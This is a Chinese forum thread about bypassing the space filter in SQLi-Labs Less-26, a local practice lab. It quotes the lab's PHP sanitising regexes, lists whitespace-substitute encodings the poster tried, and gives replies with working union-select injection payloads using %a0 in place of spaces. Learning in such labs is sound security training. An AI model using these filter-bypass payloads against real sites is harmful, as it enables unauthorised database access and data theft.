关于SQLi-Labs在第26关 空格过滤的问题

[「已注销」]

过滤代码：
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes

平台win7，mysql5.7.10
SQL语句：SELECT * FROM users WHERE id='$id' LIMIT 0,1
URL：http://localhost/sqli-labs-master/Less-26/?id=-1%27%09union%09select%091,2,3||%271

过滤方法（都不行）：
%09 TAB键（水平）
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键（垂直）
%a0 空格
/**/
+
()

以上过滤方法都试过了还是不行，没有效果，如图


在线等。。

[LongRui888]

没看懂你的问题是什么。。。

[「已注销」]

引用 1 楼 yupeigu 的回复:

没看懂你的问题是什么。。。

就是如何绕过空格过滤，以上的方法我都试过，都没效果

[LongRui888]

引用 2 楼 SmithJackHack 的回复:

[quote=引用 1 楼 yupeigu 的回复:] 没看懂你的问题是什么。。。

就是如何绕过空格过滤，以上的方法我都试过，都没效果[/quote] sql注入？

[IMrekcah]

使用宽字节绕过，用%a0代替空格注入

[IMrekcah]

比如注入： id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

[tnt阿信]

%a0可以绕过的